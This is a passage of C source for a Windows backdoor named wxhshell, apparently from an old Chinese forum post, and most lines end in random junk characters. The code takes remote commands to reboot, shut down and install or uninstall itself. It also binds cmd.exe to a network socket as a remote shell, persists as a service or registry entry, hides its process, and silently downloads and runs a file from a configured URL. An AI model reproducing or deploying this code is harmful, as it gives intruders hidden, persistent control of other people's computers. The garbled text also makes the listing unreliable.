   va [r~  
  // 帮助 928uGo5  
  case '?': { l{mC|8X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EdTR]}8  
    break; mlO\wn-F  
  } ?`/DFI'_G  
  // 安装 WyU\,"  
  case 'i': { X.GK5Phd  
    if(Install()) uZml.#@4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); phi9/tO\u  
    else O^~Z-; FA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E*"oA1/I  
    break; >/+R~ n  
    } yA]OX"T?*  
  // 卸载 1d 1 ~`B  
  case 'r': { 4ATIF ;G'<  
    if(Uninstall()) ?Q~o<%U7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ECk* H  
    else #Dp]S, e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K"jS,a?s 6  
    break; o/hj~;(]  
    } VZ$^:.I0  
  // 显示 wxhshell 所在路径 |c[= V?AC  
  case 'p': { ctMH5"F&1  
    char svExeFile[MAX_PATH]; -BC`p 8  
    strcpy(svExeFile,"\n\r"); N}ZBtkR  
      strcat(svExeFile,ExeFile); \YPv pUg  
        send(wsh,svExeFile,strlen(svExeFile),0); _P9*78  
    break; <!q_C5>XJ  
    } oV'G67W  
  // 重启 57Bxx__S4`  
  case 'b': { JqV}>"WMV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fb8)jd'~}O  
    if(Boot(REBOOT)) Om(Ir&0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ez / W$U  
    else { MNf^ml[  
    closesocket(wsh); 8 .t3`FGH  
    ExitThread(0); %J8uVD.2  
    } Ip |=NQL>  
    break; :n,x?bM  
    } ?|Ey WAL  
  // 关机 UaB2vuL*=  
  case 'd': { BB imP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #~ZaN;u  
    if(Boot(SHUTDOWN)) @a i2A|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bT MgE Y  
    else { 5KTPlqm0qF  
    closesocket(wsh); 6[,7g&C  
    ExitThread(0); { u3giB  
    } eig{~3  
    break; g?N^9B,$2  
    } |RL\2j|  
  // 获取shell ,WBKN)%u  
  case 's': { iGN6'm`  
    CmdShell(wsh); E:y^= Y  
    closesocket(wsh); n.XgGT=L  
    ExitThread(0); ,uPN\`.u8  
    break; ,AH2/^:%c  
  } q[(1zG%NbA  
  // 退出 05Q4$P  
  case 'x': { |W*5<2Q9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  I)MRAo  
    CloseIt(wsh); {f\{{JJ]  
    break; ~KczP1p  
    } 3e9UDN2  
  // 离开 m=25HH7enb  
  case 'q': { #nq_R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %-[*G;c'w  
    closesocket(wsh); Z^Yy sf  
    WSACleanup(); Xp9] 9H.  
    exit(1); 7Vu f4Z5  
    break; -<:w{cV  
        } KQ^|prN?y  
  } QjKh#sU&  
  } urg^>n4V]  
(Q=:ln;kM  
  // 提示信息 aeDhC#h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .{-X1tJ7  
} ?2q0[T?e  
  } J:@yG1VIp  
%2\6.c=c  
  return; b94+GL U8b  
} |I;]fH,+  
4K ]*bF44  
// shell模块句柄 KA>QW[HX  
int CmdShell(SOCKET sock) &eb8k2S  
{ s>)?MB*vb  
STARTUPINFO si; OC)=KV@KE  
ZeroMemory(&si,sizeof(si)); `I8ep=VZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vSR5F9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CjEzsjqe<I  
PROCESS_INFORMATION ProcessInfo; ' g d=\gV  
char cmdline[]="cmd"; UOyM=#ipY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UW1i%u k  
  return 0; 51-'*Y  
} }0sLeGJ!  
|;\pAZ2  
// 自身启动模式 y&/bp<Z  
int StartFromService(void) MnlD87x@X  
{ ]WK~`-3C^  
typedef struct ZYt1V"2VJ  
{ WD1>{TSn  
  DWORD ExitStatus; hcM9Sx"!  
  DWORD PebBaseAddress; B4*uS (  
  DWORD AffinityMask; 0oZZLi  
  DWORD BasePriority; NkoyEa/^[  
  ULONG UniqueProcessId; 6s>io%,:  
  ULONG InheritedFromUniqueProcessId; {0 %  
}   PROCESS_BASIC_INFORMATION; q/Zs]Gz  
SLNq%7apx  
PROCNTQSIP NtQueryInformationProcess; YP[8d,  
UXh%DOq   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B6@q`Bmw.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "MK2QIo  
$)~:H-  
  HANDLE             hProcess; ,& wd  
  PROCESS_BASIC_INFORMATION pbi; _SkiO }c8  
9Vl}f^Gn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {|@}xrB  
  if(NULL == hInst ) return 0; L={\U3 __k  
wR,}#m,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ' 6)Yf}I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L c )i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >cpv4Pgm  
$@l=FV_;  
  if (!NtQueryInformationProcess) return 0; yo8mfH_,  
?op;#/Q(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \4>w17qng  
  if(!hProcess) return 0; eSHsE 3}h  
<Mu T7x-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xel|,|*Yq  
5V~vND* s  
  CloseHandle(hProcess); 'h^Ya?g  
*3]2vq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kz z/]  
if(hProcess==NULL) return 0; l-Ha*>gX[j  
ysPm4am$  
HMODULE hMod; l*{Bz5hc  
char procName[255]; zhbSiw  
unsigned long cbNeeded; S}cR+d1}h  
~2 nt33"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MPKrr  
)a5ON8?  
  CloseHandle(hProcess); y4r?M8]"r  
!X||ds  
if(strstr(procName,"services")) return 1; // 以服务启动 ^I yYck'y+  
u'k+t`V&  
  return 0; // 注册表启动 [LQOP3f  
} IG7,-3  
6Q J.=.>b  
// 主模块 @.c[z D  
int StartWxhshell(LPSTR lpCmdLine) ?JTTl;  
{ mkfDDl2 GP  
  SOCKET wsl; FS=LpvOG)  
BOOL val=TRUE; 1k^$:'  
  int port=0; \B:k|Pw6~  
  struct sockaddr_in door; We\i0zUU  
~d3@x\I?  
  if(wscfg.ws_autoins) Install(); eo@8?>}{X  
>ts}\.(]  
port=atoi(lpCmdLine); .5AFAGv_c  
C<(qk_  
if(port<=0) port=wscfg.ws_port; E 0l&d  
x^ `IZ{!  
  WSADATA data; c##tP*(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `.dwG3R  
Ujlbcv6+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6!?] (  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ekik_!aB  
  door.sin_family = AF_INET; fJ0V|o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P;K LN9/4  
  door.sin_port = htons(port); CrSBN~  
Z:Vde^Ih  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iz)r.TJ  
closesocket(wsl); ]N;n q  
return 1; uMpuS1  
} +IWf~|s  
K :kb&W  
  if(listen(wsl,2) == INVALID_SOCKET) { dG8mE&$g  
closesocket(wsl); *4LRdLMn  
return 1; O*bzp-6\  
} XT*/aa-1'  
  Wxhshell(wsl); Z_edNf }|  
  WSACleanup(); D(TG)X?  
9+$IulOvk  
return 0; 2+?W{yAEi  
*DXX*9 0  
} v=+3AW-|v  
{\NBNg(Vo  
// 以NT服务方式启动  I{ki))F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9W+DW_M  
{ $tI<MZ&Z  
DWORD   status = 0; J] w3iYK  
  DWORD   specificError = 0xfffffff; )siW c_Z4  
lkly2|wA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BlZB8KI~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~c] q:pU2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jIwN,H1$-  
  serviceStatus.dwWin32ExitCode     = 0; ){z#Y#]dP  
  serviceStatus.dwServiceSpecificExitCode = 0; tw =A] a*  
  serviceStatus.dwCheckPoint       = 0; k.2GIc:5  
  serviceStatus.dwWaitHint       = 0; n*' :,m  
u 8<[Q]5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8~yP?#p  
  if (hServiceStatusHandle==0) return; UjLq[,_!  
:Ny[?jt c  
status = GetLastError(); LFqY2,#i  
  if (status!=NO_ERROR) K" |~D0Qgo  
{ !syyOfu`}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fAz4>_4  
    serviceStatus.dwCheckPoint       = 0; NFtA2EMLu[  
    serviceStatus.dwWaitHint       = 0; MK@rx6<9  
    serviceStatus.dwWin32ExitCode     = status; `HnZ{PKf  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6uKth mr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (d@(QJ  
    return; :?LNP3}  
  } {Rb;1 eYj  
)m+O.`x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t#8QyN  
  serviceStatus.dwCheckPoint       = 0; ZMr[:,Jp  
  serviceStatus.dwWaitHint       = 0; EkRx/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1Y;.fZE  
} isy[RAP<  
=R 4]Kf  
// 处理NT服务事件,比如:启动、停止 o2bmsnXQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hO{&bY0  
{ I$x<B7U  
switch(fdwControl) n @R/zy  
{ lZe-A/E  
case SERVICE_CONTROL_STOP: 9o6[4Q}  
  serviceStatus.dwWin32ExitCode = 0; *JZ9'|v_H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v _:KqdmO]  
  serviceStatus.dwCheckPoint   = 0; ?b'(39fj  
  serviceStatus.dwWaitHint     = 0; MxI*ml8z?  
  { 5Ma."?rW   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o0F,!}  
  } [{R>'~  
  return; Z]WX 7d  
case SERVICE_CONTROL_PAUSE: __s'/ 6u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0u&x%c  
  break; RRYcg{g  
case SERVICE_CONTROL_CONTINUE: )F\kGe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fv+d3s?h  
  break; X2;72  
case SERVICE_CONTROL_INTERROGATE: pDJN}XtjT  
  break; r#_0_I1[  
}; R]Z#VnL@qz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !>ZBb\EyK  
} %Ie,J5g5  
]q4LN o  
// 标准应用程序主函数 t6`(9o@}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  b{)kup  
{ {q+gm1iC  
.@EzHe ^W  
// 获取操作系统版本 ( xzruI5P  
OsIsNt=GetOsVer(); oOLA&N-A~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zn40NKYc  
t2.jg?`k  
  // 从命令行安装 X(17ESQ/Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); \6.dGKK  
,' t&L]  
  // 下载执行文件 d8R|0RZ  
if(wscfg.ws_downexe) { #*lDKn[vO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -^t.eZ*|  
  WinExec(wscfg.ws_filenam,SW_HIDE); d2US~.;>l  
} 7QZy d-  
\*BRFUAc  
if(!OsIsNt) { I(3~BOUn_  
// 如果时win9x,隐藏进程并且设置为注册表启动 |; mET  
HideProc(); Pg`+Q^^6S  
StartWxhshell(lpCmdLine); UM`$aPz  
} s?;V!t  
else 23K#9!3  
  if(StartFromService()) U HTxNK@}  
  // 以服务方式启动 ]5:[6;wS  
  StartServiceCtrlDispatcher(DispatchTable); :RZ'_5P[If  
else "\rO}(gC;`  
  // 普通方式启动 {M=B5-  
  StartWxhshell(lpCmdLine); 59:kL<;S-  
"R-j  
return 0; dD'KP4Io@  
}
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只看该作者 1 发表于: 2006-10-10
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